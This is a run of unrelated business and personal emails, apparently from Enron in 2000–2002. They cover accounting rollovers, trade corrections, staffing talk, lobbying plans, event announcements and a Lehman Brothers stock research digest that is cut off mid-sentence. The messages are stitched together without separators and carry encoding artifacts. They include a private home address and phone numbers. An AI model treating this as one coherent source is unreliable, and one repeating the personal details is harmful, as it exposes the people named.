Tracy, as the ETS overall planner, the Property Accounting Users Group requests that you instruct the ISC to roll over the current IM structure for 2002 for both ETS Consolidated and ETS Un-Consolidated.  This will allow for the setting up of 2002 projects (to be saved they must be attached to a 2002 Budget code)  and when the 2002 capital budget is approved, allow for the inputting of the 2002 budget.  No transfer of dollars is involved in the roll over.  This is strictly a structure roll over.   

Please email Marian Bryant with the ISC the approval for the roll over and the date you would like for this to happen.  The Users group is recommending for this to be done November 1st.   If you have specific questions or concerns, please contact Marian directly, x55944.

Caroline Barnes
on behalf of the Property Accounting Users Group

Thank you very much, Tom!!!  

	Thomas A Martin/ENRON@enronXgate 05/31/2001 11:03 AM 	   To: Kimberlee A Bennick/HOU/ECT@ECT  cc:   Subject: RE: URGENT RESPONSE REQUIRED	

Tom

Thank You,

EB 3839

Vince, sorry, the files from that directory get deleted periodically. I 
attached this file here.
Rabi did some analysis related to implementation of correlated non-normally 
(RTDM-distributed)
variables. Let's discuss later?

Tanya.

12/22/2000 05:58 PM
To: Tanya Tamarchenko/HOU/ECT@ECT
cc:  
Subject: Re: Suggestion: implementing VAR based on non-normal log-returns 
simulations  

Tanya,

I could not locate the file.

Vince

Tanya Tamarchenko
12/07/2000 01:17 PM
To: Vince J Kaminski/HOU/ECT@ECT, Rabi De/NA/Enron@ENRON, Jaesoo 
Lew/NA/Enron@ENRON
cc:  

Everybody, 
we were talking for a while about using non-normal distributions in the 
Monte-Carlo simulations in our VAR model.
I put together some suggestion regarding this. The text is under 
O:\_Dropbox\Tanya\non_normal_logs.doc

Look through this 3 page document, and let me know what you think, please.

Tanya

Please call me if you have questions.

Shona Wilson
Director - Risk Operations
713 853 9123

Hey,
?
I tried to find the Event Coordinator job again, but it didn't  show up.? 
?
My fax number is 713/627-0113.? Don't stop what you are  doing--just when you 
get a chance.? 
?
Thank you.
?

We have received the executed Master Energy Purchase and Sale Agreement dated 
11/21/00 from the referenced CP.  Copies will be distributed to Legal and 
Credit.

apb said this was a void.  thanks

---------------------- Forwarded by Kerri Thompson/Corp/Enron on 04/25/2001 
04:45 PM ---------------------------

Kerri Thompson
04/25/2001 04:40 PM
cc:  

Subject: apb checkout

missing deal

selling morgan stanley
127.00
25 mw
sp15
26th
off peak
chris

I have already responded previously to Sheila Knudsen, but I will respond 
again.

 Name: Marie Newhouse (Maria E. Newhouse)
 E-mail: marie.newhouse@enron.com
 BU: Corporate
 Do I code invoices:  NO
 Do I approve invoices:  YES
 Am I a remote user:   Sometimes

Thanks, 
Marie Newhouse
Ext 54185

From:  Enron Announcements/Corp/Enron@ENRON 
[mailto:IMCEANOTES-Enron+20Announcements_Corp_Enron+40ENRON@ENRON.com]  On 
Behalf Of iBuyit@ENRON
Sent: Wednesday, April 11, 2001 12:42 AM
To: All Enron Employees United States@ENRON
Subject: Reply Requested: Do You Code Or Approve Invoices?

Do you code or approve invoices for goods and services that are processed by 
the Houston-based Accounts Payable center?
If yes, please read and respond to this e-mail.

 << OLE Object: Picture (Metafile) >> 

On May 1st, iBuyit Payables will be activated for all organizations supported 
by the Houston-based Accounts Payable processing center (for example, 
invoices submitted via AP drop box to 600 Jefferson, Houston).  If you code 
or approve these invoices, the iBuyit Payables project team has important 
information to share with you about the iBuyit Payables system, training, and 
the May 1st transition to the new system.

To identify yourself as a future iBuyit Payables Coder or Approver, please 
respond to this e-mail upon receipt with the following information:
*  Full Name (First, Middle, Last)
*  E-mail address
*  Business unit (For example, Corporate, ETS, EWS, EES, or EBS)
*  Do you code invoices? (Yes/No)
*  Do you approve invoices? (Yes/No)
*  Are you a remote user? For example, do you dialup to access the Enron 
network? (Yes/No)

This will ensure that you receive important iBuyit Payables information.  
Thank you for your response!

Attached is important iBuyit Payables training information:

 << File: iBuyit Payables Training Information.doc >> 

Have also today spoken to Anthony Duenner, finally.  I am afraid the message 
for David is that we should be thinking about his exit.  I cannot see much 
mileage in putting him in front of Cliff.  Do you agree that we should be 
discussing exit package?   thanks  mcs
---------------------- Forwarded by Mark Schroeder/LON/ECT on 08/12/2000 
17:25 ---------------------------

Rebecca McDonald@ENRON_DEVELOPMENT
08/12/2000 16:16
To: Mark Schroeder/LON/ECT@ECT
cc: James A Hughes/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Steven J 
Kean/NA/Enron@Enron@ECT 

Subject: Re: regulatory support  

Mark,

Thanks for your note.  It's a common misconception that we will be mostly 
working on asset disposition.  Our focus will be on the efficient operation 
of the assets, cleaning up problems, finishing projects etc.  The sales 
efforts will be conducted through Cliff Baxter's group with support from us.  
So, I don't believe that  I will need the type of effort that you believe 
David can provide and I have no other need for him at this juncture.  Cliff 
may feel that he has the need for David.  By the way, my experience with 
David when he worked for APAChi was that he had not learned much about the 
business and therefore was not terribly helpful to us as we were 
restructuring the group or when we were in a build mode in Thailand.

If you have any questions, please let me know.

Regards,
Rebecca

Mark Schroeder@ECT
12/08/2000 08:35 AM
To: Rebecca McDonald/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, James A 
Hughes/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
cc: Steven J Kean/NA/Enron@Enron 

Subject: regulatory support

With your new organisation, I expect that you will have issues that will 
require support from my team, covering everything outside the Americas (Rick 
Shapiro providing support in the Americas).  Any thoughts either of you have 
regarding what your requirements might be would be helpful.  My understanding 
is that a fair bit of your effort will be focussed on asset disposition.  If 
that is correct, I want to run one idea by you.  We still have David Merrill 
posted as an expat in Singapore.  He is not working out as support for EBS 
(totally new field to him).  What are your thoughts on David returning to the 
energy arena, and focussing on flying around, as appropriate, to meet with 
various governments, working to secure necessary approvals, as/when/if 
needed?  Seems to fit his skill sets, based on prior government experience 
that he has.  

A second person who could also fill this role, though he is looking at other 
opportunities within Enron and may not be available, is Mike Dahlke.  
Thoughts on this person for this role?

thansk   mcs

David, just heard that you joined the 2001 Enron MS150 team - 
congratulations!  Look forward to seeing you out at Tully Stadium on the 20th.

Jeff

Kristin,

FYI

Vince
10:42 AM ---------------------------

"Frank Qian" <fqian@andrew.cmu.edu> on 11/05/2000 05:10:06 PM
To: <Vince.J.Kaminski@enron.com>
cc:  
Subject: Thank you!

Dear Mr. Kaminski:

It's a great pleasure to have you visiting us and a great honor to have
dinner with you. I'd like to thank you for your wonderful presentation. It's
the most interesting topic we had so far. This is not just my personal
opinion, all my classmates I talked to agree with me.  I like Enron's style
and culture and I think it played a big role in Enron's success. I look
forward to discuss career opportunities at Enron during your on-campus
interview session.

Regards,

Frank Qian
fqian@andrew.cmu.edu

Leandra,

I wanted to check on the status of your review of the draft. 

Regards,

FYI

From: 	Dadson, Aleck  
Sent:	Friday, September 14, 2001 11:41 AM
To:	Milnthorp, Rob; Devries, Paul
Subject:	Market Opening Initiatives

Just to update you on some initiatives we will be undertaking over the next several months re market opening:

continued contact with the Government side of the Legislature and  key civil service personnel re pros/cons of  market opening dates under consideration (I will likely ask you both  and Garrett Tripp to attend some of these meetings depending on audience and subject).

contact with key personnel in Liberal caucus and staff to explain why it is important that market opening proceed in early 2002 ( a contact program is under way and I will likely be asking you both and Garrett Tripp to attend some of these meetings):  our sense is that Liberals will not cause the Gov't problems on this issue and the object here is to ensure that this remains the case.

broader Province wide media effort - Richard Shapiro is committed to spending the week beginning October 8 in Ontario - he and I will be spending the week visiting/talking to media outlets across the Province about why Ontario must proceed with competition in in early 2002.  I do not yet have the details of that "tour" but will provide them as soon as they are available.

contact with trade associations (not just the big ones like AMPCO etc. but the smaller less obvious ones like the independent grocers) with a view to explaining the benefits of competition  and, in the best case, possibly replicating commercial opportunities comparable to that which has developed with the CFIG. Work is already under way on this and  I would suggest that Jeff Borg work with me. 

coordination, where possible and appropriate, with other stackholders such as TH, BE, TransAlta, Direct etc. As you know, those opportunities are going to be discussed at a meeting at TH next Tuesday morning.  In my view, what is key is ensuring consistency of messaging re an early market opening, though there should  be an  opportunity  to jointly fund a public education campaign re the benefits of competition (given that the gov't appears reluctant to do this itself).   

The AA due diligence document is also saved in S\Mg\Integration\Arthur 
Andersen Draft Due Diligence.doc

Are you going to bring it to me tonight?

From: Frank Telemaque [mailto:Frank_Telemaque@flexitallic.com]
Sent: Tuesday, November 20, 2001 9:38 AM
To: Davis, Dana
Subject: RE: 

yes i am what is the name of it.

From: Davis, Dana [mailto:Dana.Davis@ENRON.com]
Sent: Tuesday, November 20, 2001 9:42 AM
To: Frank Telemaque

You still buying that lipstick for me?
 
Sent: Tuesday, November 20, 2001 9:18 AM

yes.

Sent: Tuesday, November 20, 2001 9:20 AM

 Do you have it with you?

Sent: Monday, November 19, 2001 9:05 AM

good morninig i have your beauty blotters itis $5.00 plus tax.

Attached are clean and redline versions of the "without margining" master netting agreement.  The redline is   
just for your review to discern the changes.  
I have also included a clean version without the user notes.  I will distribute a process memo tomorrow.
Please note that even though this does not include margining provisions, the agreement still provides for the reciprocal grant of the security interest in each Group's own payments (see 6 b) and thus, you still need to coordinate with Lech Kalembka at Cadwalader for its perfection.

Mary Cook
Houston, Texas 77002-7361
(713) 345-7732
(713) 646-3393 (fax)

i will see you there....i'll have my cell

From: 	"Emily Hillegeist" <ehillegeist@hotmail.com>@ENRON  
Sent:	Friday, March 08, 2002 3:02 PM
To:	katyhester@hotmail.com; susan_m_scott@hotmail.com; Scott, Susan M.
Subject:	tonite

ok girls...sue, haven't called you bk yet w/ the 411, and kates, haven't
heard back from you after i left the past couple messages, so this could end
up being a collosal disaster, but went ahead and made reservations at Garson
for 7:45 tonight.  it's on hillcroft btwn westheimer and 59...super scary
area on "wrong" side of westeimer, but have reliable sources who've raved,
and since was close to Hart, have driven past several times and looked safe,
  persian food, which is i'm not exactly sure what.....but supposed to have
good meze, kebabs, and persian ice cream.  hope y'all are in.  could be
supremely embarrsaing to dine solo in semi-formal middle eastern restaurant
w/ no bar....luby's or cafe express is one thing....a belly dancer's haunt
is quite another!  chat soon, mes amis...
e

Join the world's largest e-mail service with MSN Hotmail.
http://www.hotmail.com

broker is right - this is changed to DYPMI

Kerri Thompson@ENRON
03/08/2001 01:51 PM
cc:  

Subject: tfs

disregard previous email....(about deals 541200 & 541201)

541365
broker has dynegy for the cp

Attachment is letter and invoice faxed and FedExed to Jody Blackburn earlier
today.  Lee asked that I copy you.
 <<Salmon Energy invoice 706368050101.pdf>>

David Gillenwater
Contract Administrator
GE Aero Energy Products
email: john.gillenwater@ps.ge.com
phone: (281) 864-2645 fax: (281) 864-2116
DialComm: 8*326-2645

 - Salmon Energy invoice 706368050101.pdf

The game is this Saturday... general information is as follows.

Try to be at Stratford by  9  AM, and no later than 9:30 AM.    Don't go ou=
t=20
and drink all night.    The address for Stratford High School is: 14555 Fer=
n=20
Drive, Zip code: 77079=20

Also, donations are due on Saturday.    Please try to get at least $50 in=
=20
donations today and tomorrow.  Donations will be the deciding factor if the=
re=20
are differences in the tickets, assuming we win them.

If you need more nfo, directions,etc  , goto

http://www.charityflagfootball.com/

Final roster

Stephen
Eric
Luis
Paul
Sarah
Chris
Mauricio  "Reese"
Myself

I can be reached at work  37842,   and at home  713-853-7842

=3D=3D
also, bring some extra money ...  as  Webb maybe looking to make some bets=
=20
prior to the game

---------------------- Forwarded by Michael Simmons/HOU/ECT on 11/16/2000=
=20
10:40 AM ---------------------------
  =20
=09
=09From:  Flag Football Challenge @ ENRON                           10/21/2=
000=20
10:38 PM
=09

To: Flag Football Invite
cc: =20
Subject: A&M/UT Flag Football Invitation

                =20

Enron and Andersen Consulting are proud to sponsor the 2nd Annual=20
Aggie-Longhorn=20
Flag Football Challenge on Saturday, November 18.  The purpose of this even=
t=20
is to=20
raise money for both schools, and to enjoy the competitive spirit of the=20
third oldest rivalry=20
in college football.  This year's game marks the 107th meeting between Texa=
s=20
A&M=20
University and The University of Texas, and, with a little luck, the Big 12=
=20
South Title=20
will be on the line!

Enron and Andersen Consulting are sponsoring the event, but we need your he=
lp=20
as=20
participants and fundraisers.  Contributions raised will benefit the genera=
l=20
scholarship fund=20
for each school.=20

The details:=20
Date:    Saturday, November 18th=20

Time:    10:00 a.m. - approximately 4 p.m. (Warm up is at 9:30 am)

Location:   Stratford High School Practice Fields (just off Dairy Ashford,=
=20
south of I-10)

Food and Drinks:  Schulze=01,s BBQ (FREE - courtesy of Enron)

Eligibility:   Full-time employees and/or their spouses
    (Players must have graduated from Texas A&M
 or The University of Texas )

Team Jerseys:  Provided by Enron and Andersen Consulting=20

Format:   7 players with at least 1 female player on the field at all times

Team Size: Recommend 8-10 players per team (no more than 10 per team)=20
 Contact the team captains to sign-up.  (Sign-up now to ensure your=20
 place on a team)

Prizes:    Winning team receives 16 tickets to the A&M/UT game in=20
Austin on Friday, November 24
    Winning team also owns the "Horns Down/Horns Up" trophy=20
until next year!

Fundraising Goal  The committee has set a goal of raising $16,000 for each=
=20
school.  This will require a contribution of $2,000 per team,=20
plus an equal amount from corporate matching funds.

Last year's event featured a last-minute comeback as the Enron Aggies Team =
1=20
defeated the Enron=20
Longhorns Team 1 for the championship and took home the tickets and the=20
trophy.  This year, expect=20
the Longhorns (and Andersen Consulting) to come in with revenge on their=20
minds!=20

Thanks to the gracious gift from the UT Alumni, who redirected their=20
donations to the A&M Foundation,=20
we were able to permanently endow scholarships dedicated to the memory of t=
he=20
12 Aggies who died=20
in last year's Bonfire collapse.  We believe this event is a great traditio=
n=20
for both companies, and we are=20
pleased to be able to raise important funds for both institutions.

If you are interested in participating or otherwise being involved, you mus=
t=20
contact one of the team captains=20
below by the close of business on Friday, November 3 (phone or email).  Tea=
m=20
rosters will be filled on a=20
first-come, first-served basis.

Aggies           Longhorns
Brad Mauritzen  x33272             Webb Jennings x31944
Russ Porter       x58410                  Michael Simmons x37942

Many of you have requested more time in which to submit your nominations for the 2001 Chairman's Award. In response to your requests, the deadline has been extended to Friday, October 12.

Please take this extended opportunity to nominate that special individual who is your everyday hero and a role model who exemplifies Enron's core values of Respect, Integrity, Communication and Excellence.

This award represents how important Enron's core values are to the company. The success of this award program is determined by Enron's most valuable asset, you, the employee. Employees at any level can nominate fellow employees from anywhere within the Enron family - from the top down or the bottom up. All of those employees who have been nominated in the past are eligible to be nominated again this year and there is no limit to the number of nominations you may submit. Simply complete a nomination form and submit it by Friday, October 12, 2001. Forms can be obtained by visiting your intranet site or at home.enron.com and in Houston they are available in the elevator lobbies. In addition, this year we have a new way you can nominate that everyday Enron hero. Simply pick up the phone and dial 713-345-2492, follow the simple and quick instructions and leave your nomination by phone.

The finalists for the award, the Chairman's Roundtable, and the Chairman's Award winner will be honored at Enron's Management Conference in San Antonio on November 15.

Thank you for your participation.

Hi Guys,
Here is the file with the midterm solutions. I will post these on the web
on Satuday morning.
Madhur

 - E203 Midterm Solutions.doc

Vicky,

Sounds like they've been working you to hard.  You certainly deserve a vacation.  I would like to hear about your adventures overseas.  My address is as follows:

			Andy Lewis
			3131 Timmons Ln
			Apt. 1010	
			Houston, TX  77027

I got a letter from Diem with their new London address.  I figure I'll give them a month or so to move in  before I look into visiting.  Of course, getting time off in this job is easier said than done.  Anyway, enjoy your trip, and I look forward to hearing from you.

-Andy

A position has become available as an Administrative Assistant working in=
=20
West Power Trading reporting to Debra Davidson.  You will be responsible fo=
r=20
the following complex administrative duties.

? Compose memos, reports and other correspondence from a brief outline,=20
=01&sketchy=018 draft or verbal instruction.
? Greet external clients.
? Code invoices, process complex expense reports, and manage employee=20
timekeeping through SAP.
? Make travel/meeting arrangements based on minimal instruction and=20
periodically make independent decisions on details such as travel schedules=
,=20
mode of   transportation, and accommodation.
? Monitor and control filing systems ensuring accuracy and efficient=20
retrieval of data.
? Occasionally prepare presentations in Microsoft PowerPoint.
? Provide backup switchboard support for Receptionist during periods of=20
absence.
? Work closely West Power Trading administrative staff to provide coverage=
=20
and assistance during periods of employee absences.

The successful candidate will be detail oriented, have good organizational=
=20
skills, and possess the ability to work in a fast-paced environment with=20
multiple concurrent assignments.  At least 5 years of=20
secretarial/administrative experience and above average communication and=
=20
interpersonal skills is required.  Excellent typing, proofreading, spelling=
=20
and grammatical skills, and strong PC skills with Word, Excel, and PowerPoi=
nt=20
are a must.  Experience with Access would be beneficial.  The ability to wo=
rk=20
well within a team environment, identify work priorities and function with=
=20
very little supervision is essential.

We will be considering internal candidates as well as external candidates f=
or=20
this position.  If you are interested, please let Amy FitzPatrick know no=
=20
later than close of business on Monday, April 23, 2001.

If you have any questions, please feel free to see Amy or Debra.

Per conversation with christian, and prior discussions with cadwalader i 
think the memo of cad is off on cross default too.  i had noted such on my 
first read.  i thought what we were after was if one leg is set aside in a 
bankruptcy then all legs are "set aside" this being different than 
defaulted.  Mary

Mary Cook

To signatories to the Comprehensive Settlement:

ALJ Biren has given us until Friday of this week (April 28, 2000) to file
"errata" to the Comprehensive Settlement.

So far, I am planning to make the following non-substantive changes:

1.  The table of contents was seriously messed up by an "automatic update"
feature in Word just before we duplicated and filed.  I will be putting it
back to the state you saw in the final draft.

2.  On p.7, section 1.12, put a period at the end of the last sentence.

3.  On p.9, section 1.1.3.1,  two thirds of the way down the page, I will be
changing "subject to adjustment annual by the base rate PBR formula" to
"subject to adjustment annually by the base rate PBR formula".

4. On p.27, section 1.5.4, in the third full paragraph on the page, I will
be changing "If only one customer has an OFO day" to "If only one customer
class has an OFO day".

5.  Also on p.27, section 1.5.4, bottom line on the page, I will be filling
in the blank with "C" (so it reads "Appendix C")

In the category of "maybe substantive",

1.  On p.10, section 1.1.3.2, three lines from the bottom of the page, the
date "October 1, 2000" would be changed to "October 1, 2001".  This sentence
refers to including the cost of backbone transmission for core customers
buying gas from SoCalGas in the "procurement" rate.  Obviously, our intent
was to do that only once we had unbundled backbone transmission, which
happens on October 1, 2001.

In the category of "substantive":

1.  Our capacity term sheet had said that we would unbundled "additional"
(non-reliability) storage for CTAs effective upon implementation of the
settlement (See p.4).  The filed settlement managed to drop the section that
provided for this option for CTAs prior to the principal storage change on
April 1, 2001.  (The filed settlement is ok for the period starting April 1,
2001).  So, to be consistent with the term sheet, we need to insert
something back into the settlement to allow CTAs to opt out of
non-reliability storage in the period from the effective date (90 days after
approval) to April 1, 2001.  Obviously, this may not be a very long period.
John Leslie has suggested inserting at the very beginning of Section
5.4.4.3:  "In the partial storage year beginning on the effective date of
this Settlement Agreement, and....[continue with current text]."  We would
need to cover as part of implementation filings the exact mechanism/pricing
for SoCalGas purchasing gas in storage owned by CTAs if they opt out of
nonreliability storage prior to April 1. 2001.  SoCalGas and SDG&E are ok
with John's language and want to make sure it is ok with other signatories.

If you have any problems with any of these changes, please contact me or
Brian Cherry by noon on Friday, April 28.  My email is gsullivan@sempra.com
and my phone is (619) 699-5162.  Brian's email is bcherry@sempra.com and
phone is (213) 244-3895.

We are looking at the possibility of two or three additional changes, and
Brian may send you a follow-up message.

-- Glen Sullivan
Sempra Energy Law Dept.

Do you think Min would be able to help?

Stacey

From: 	Hayden, Frank  
Sent:	Tuesday, December 04, 2001 9:23 AM
To:	White, Stacey W.; Gossett, Jeffrey C.
Subject:	Perf Reports

I'm anticipating a request for trader stats very shortly here. Problem is that we laid off my excel wiz ?. Any chance one of you would have an excel wiz sitting around that would like to get cranking on perf reports?
Frank

Ellen,
 With this added information, can you generate the contemplated confirmation?
----- Forwarded by Dan J Hyvl/HOU/ECT on 12/12/2000 10:29 AM -----

	Janet H Wallis
	12/12/2000 09:57 AM
		
		 To: Dan J Hyvl/HOU/ECT@ECT
		 cc: Russell Diamond/HOU/ECT@ECT
		 Subject: Re: New Deals

Forget the greenhouse requirements and  just make it requirements up to 50 
MMbtu a day.  The meter number is #1598.  
Also, the GTC method is fine with me.

Thanks,
J

Dan J Hyvl
12/12/2000 09:44 AM
To: Janet H Wallis/HOU/ECT@ECT
cc: Ellen Wallumrod/NA/Enron@ENRON, Bob Bowen/HOU/ECT@ECT, Jeffrey T 
Hodge/HOU/ECT@ECT 
Subject: Re: New Deals  

Janet,
 Two items regarding the Panther deal.   What is meant by "Greenhouse 
requirements"?  New delivery point, can be get a better description about 
this point, is it currently in existence, if so, how was it put in, who was 
the deal maker for the installation, etc.  After this information is 
provided, I see no reason why this shouldn't be documented by the confirm 
desk using a standard    GTC confirm.  

	12/12/2000 09:17 AM
		 
		 cc: 
		 Subject: New Deals

Panther

I will send the Entex deal later, thanks.

Janet

Kay
---------------------- Forwarded by Kay Mann/Corp/Enron on 07/24/2000 04:13 
From: Kathleen Clark@ENRON_DEVELOPMENT on 07/24/2000 03:05 PM
cc:  

Subject: ABB Purchase Agreement - Final Version

Kay:

Attached is the final version:

http://my.servepics.com/pictures/2001/09-14_Ol_McDonald_Farm/page00.htm 
 
==================================================================?EASY UNSUBSCRIBE click here: http://topica.com/u/?a84vNF.a9iVHm Or send an email To: brcc.yf-unsubscribe@topica.com?This email was sent to: dfarmer@enron.com?T O P I C A -- Register now to manage your mail!http://www.topica.com/partner/tag02/register ==================================================================

Start Date: 1/25/02; HourAhead hour: 5;  No ancillary schedules awarded.  Variances detected.

PARSING FILE -->> O:\Portland\WestDesk\California Scheduling\ISO Final Schedules\2002012505.txt

     Details: (Hour: 5 / Preferred: 361.31 / Final: 361.28)
  LOAD_ID: SCE1
  TRANS_DATE: 1/25/02
  SC_ID: ENRJ

 <<MF June 6th 2001.pdf>>

			Good Wednesday Morning - Comments From The Local
Guys!

Yesterday, we received revised numbers on first quarter productivity, which
came in at -1.2% quarter-over-quarter on an annualized basis. On a
year-over-year basis, productivity remains at a relatively healthy 2.5%
rate, although this is half the pace at which it was running less than one
year ago. A slowdown in productivity is not unusual during an economic
slowdown. Corporations face fixed costs, while business is declining.
Unfortunately, that is why there are layoffs. With lower corporate costs,
productivity should improve as the economy picks up steam. Tomorrow, the
market will be receiving the weekly initial jobless claims, which are
expected to remain near last week's level. Lehman Brothers' economists look
for first-time unemployment insurance filings to total 415,000 for the week
ended Saturday, June 2.

The 30-year US T-Bond yield is 5.65%.
The 10-year note yield is 5.25%.
The 5-year is trading at 4.83%.
Spot crude oil is trading at $27.44 p/b.
Natural Gas - Henry Hub -  is trading at $3.85 p/mcf.

			AD Time:

New Federal Insider-Trading Rule (Rule 10b5-1) have been adopted by the SEC
under the Securities Exchange Act of 1934. This rule greatly enhances an
insider's/employee's ability to trade his/her corporate shares during
blackout periods.
Previously, without the protection of this new SEC rule, employees and
insiders could safely trade only outside of designated blackout windows.
Under this new rule, insiders/employees may have the ability to purchase and
sell their corporate shares even during blackout periods if a written plan
was established and in force when the insider/employee was not in possession
of material, non-public information.
The new rule contains other restrictions and should be reviewed carefully.

Lehman Brothers has established a turn-key plan that take into account the
regulatory procedures for establishing such a plan.    Please email us or
call us for more information.

				Lehman Brothers' Research.

IMPACT CALLS

Procter & Gamble(PG) 2 - Buy A. Gillin Lefever, .212.526.5801
Morphing Into An Attack Aircraft Carrier
OLD NEW STREET P/E
Price: $63.6 EPS 2000 N/A $2.95 N/A N/A
52 Wk Ra: $79 - 53 EPS 2001 $3.10E $3.10E $3.11E 20.5
Mkt Cap: $90.8B EPS 2002 $3.25E $3.25E $3.27E 19.6
FY: 6/30 Price Target $69 $69
Rank 3 2
*We are upgrading PG to a Buy (2) rating based upon what we perceive as a
good trading opportunity in front of their June 15 outlook
meeting. We expect the meeting to highlight (1) more aggressive actions to
reduce PG's asset base than previously telegraphed; (2)
expect FY 02's recurring earnings growth to be confirmed at the
consensus-implied 6-8% rates and (3) expect previously stated long-term
growth targets to remain in place.
*Cost cutting /right-sizing remains the theme for the balance of the
calendar year / majority of FY 02. A very focused effort will
improve PG's competitiveness, but there is a reasonable probability PG will
exceed the previously telegraphed $400-$800 M in
incremental restructuring charges in order to further accelerate the
restructuring process.
*PG is slowly shifting its attention to sales growth but 4-6% long-term
growth is at least one fiscal year out. Maximum upside is
$72.00 absent any earnings-enhancing news.

National Service Indus(NSI) 3 - Market Perform D. Zwyer, .212.526.2008
Lowering Rating As Stock Approaches Price Target
Price: $25.73 EPS 2000 N/A $2.45 N/A N/A
52 Wk Ra: $27 - 18 EPS 2001 $2.00E $2.00E $2.07E 12.9
Mkt Cap: $1.1B EPS 2002 $2.30E $2.30E $2.30E 11.2
FY: 8/31 Price Target $27 $27
Rank 1 3
*We are lowering our rating on National Service Industries' stock to 3
(Market Perform) from 1 (Strong Buy) based on valuation. The
stock has increased 37% since we initiated coverage on September 27, 2000,
outperforming a 10% drop in the S&P 500, and is near
our $27 price target. At about $26, NSI's stock trades at 13 times est.
fiscal (August) 2001 EPS of $2.00, and 11 times est. 2002 EPS
of $2.30. We do not see significant upside in the stock price from current
levels, and believe the shares will move with the market in
the near-term rather than outperform.
*We continue to expect difficult earnings comparisons for the second half of
2001, with a flattish 3Q (May) and a lower 4Q compared
with the prior year level. For the full year 2001, we expect lower earnings
in all segments: lighting, chemicals, linen rental, and
envelope. The risk to earnings going forward is a worse than expected drop
in non-residential construction impacting the company's
lighting business. Also, a drop in consumer spending would impact the linen
rental business.

Power 	D. Ford, .212.526.0836
No, The Sky is NOT Falling
*A change in investor sentiment towards the wholesale market has resulted in
a sell-off in the energy merchant stocks. We believe this
sell-off has been overdone and would recommend buying shares of Aquila,
Dynegy and Mirant.
*In our opinion, the apparent change in sentiment has been the result of
three factors: 1) a sector shift into tech stocks; 2) increased
perceived political risks on both the federal and state levels; and 3)
concerns about the potential for contracting commodity prices and
margins.
*While we do not see any catalysts that will stem this flow in the
near-term, we believe that preannouncement and upside earnings
surprises are just around the corner.
*Our favorite picks are energy merchants: Aquila, Dynegy and Mirant.

Global Crossing(GX) 2 - Buy D. Fletcher, .212.526.3375
Near-term Opportunity In Weighing Positives vs. Negatives
Price: $12.94 EPS 2000 N/A -$4.04 N/A N/A
52 Wk Ra: $38 - 9 EPS 2001 -$3.25E -$3.25E -$3.17E N/A
Mkt Cap: $11.4B EPS 2002 -$3.19E -$3.19E -$3.15E N/A
FY: 12/31 Price Target $28 $28
Rank 2 2
*With the stock approaching all time lows, we believe positives outweigh
negatives here, and stock offers good near term upside.
*While long term challenges remain, such as dependence on IRUs for
growth/funding, GX is off 24% in last two weeks, is making
good progress in Commercial and is a clear leader in the bandwidth sector.
We believe there is good near term upside. In terms of
DCF valuation, we get to $15-$20/share, even haircutting our (below
guidance) #'s by 20%.
*GX has signed >$600M in Commercial contracts year-to-date, and Comm Svcs
grew 7% seq, in Q1, and should grow 9%+ in Q2.
*The subsea market is rationalizing, and the 4 major subsea players could
become 2 over next 12 mos.
*Long-term challenges include IRU sales, and 01 guidance may prove
aggressive, though we believe that is in the stock, and we
believe the company can hit our 01 Cash Rev number of $6.71B, +30% Y-Y.

INITIATING COVERAGE

Black Hills(BKH) 2 - Buy R. Gross, .212.526.3143
Initiate With Buy, Target Price $62 (A)
Price: $55.20 EPS 2000 N/A $2.37 N/A N/A
52 Wk Ra: $55 - 22 EPS 2001 N/A $4.20E $3.77E 13.1
Mkt Cap: $1.5B EPS 2002 N/A $3.70E $3.35E 14.9
FY: 12/31 Price Target N/A $62
Rank N 2
*Strength In Western Power Markets Driving Near Term Results. Rapid Growth
In Unregulated Power Generating Capacity And
Successful Roll-Out Of Communications Network Drive Outlook Longer Term.
*Strong, Low Cost Utility Franchise Underpins Earnings And Cash Flow. Rate
Freeze Extended Through 2005.
*Potential Four-Fold Increase In Unregulated Generating Capacity By 2003
Primary Source Of Mid -Term Earnings Growth. Coal
Ownership Provides Opportunity For Further Significant Expansion.
*Strong Backdrop For Offsystem Sales And Fuel Marketing Funding Ramp In
Generating Capacity. Western Power Markets Tight
Beyond Current Year
*Communications Near Cash Flow Inflection Point As Rapid Acceptance Of
Bundled Service Offering Coupled With Mid-Year
Completion Of Network Drive Sharp Turn In Cash Flow And Valuation.

FOCUS STOCKS

McDonald's Corp(MCD) 1 - Strong Buy M. Speiser, .212.526.3255
McREIT? New tax ruling could spark spec of REIT spin-off
Price: $29.41 EPS 2000 N/A $1.46 N/A N/A
52 Wk Ra: $36 - 25 EPS 2001 $1.46E $1.46E $1.49E 20.1
Mkt Cap: $40.7B EPS 2002 $1.66E $1.66E $1.67E 17.7
FY: 12/31 Price Target $38 $38
Rank 1 1
*A favorable IRS tax ruling on REITs can spark speculation that MCD can
unlock value by spinning-off its multi-billion dollar real
estate portfolio. With a new CFO to be appointed, this can further fuel
speculation. Reit 1-Strong Buy
*The IRS has reversed a tax ruling on treatment of REITs; this will present
oppty's for co's with lots of real estate, like MCD, to spin-off
real estate b/c it could now be done on a tax-free basis
*In the US, MCD has about $8bil of property & equipment & earned $1.4b of
rental income in 00
*The risk is the elimination of a steady income stream. But, the value of a
REIT is the tax benefit & higher Returns to MCD; lower
MCD earnings (no rental income) would be more than offset by ownership of
the REIT & its tax-free benefits
Back-of-envelope analysis yields $270mil in value ($0.20/share) due to
shifting the rental income of owned sites under franchised
stores to non-taxable status; other benefits are likely.

Electronic Data Sys(EDS) 2 - Buy K. Keirstead, .212.526.0442
Addressing the Balance Sheet and Other Concerns
Price: $61.90 EPS 2000 N/A $2.29 N/A N/A
52 Wk Ra: $67 - 38 EPS 2001 $2.63E $2.63E $2.64E 23.5
Mkt Cap: $29.6B EPS 2002 $2.98E $2.98E $3.00E 20.8
FY: 12/31 Price Target $75 $75
Rank 2 2
*EDS shares have underperformed the major indices and CSC shares since
reporting strong 1Q01 results. We attribute this to some
concerns around the recent acquisitions, the need to access the public
markets to finance these deals and the increase in DSO's and the
drop in cash flow reported in 1Q01.
*Late last week we had a private call with the controller of EDS to address
the balance sheet issues. We believe that the key issue is
the volume of large deals ramping in 1H01. Receivable terms on large
outsourcing deals are often extended in the early stages of
contracts. On selected large deals, we also suspect that EDS (and perhaps
others) may be offering up-front price discounts, adding to
the cash flow requirement although average margins over the life of a
contract appear stable. We do not expect DSO's to decrease
materially until perhaps 4Q01.
*At 23 times forward estimated EPS for a 15% EPS growth rate story with high
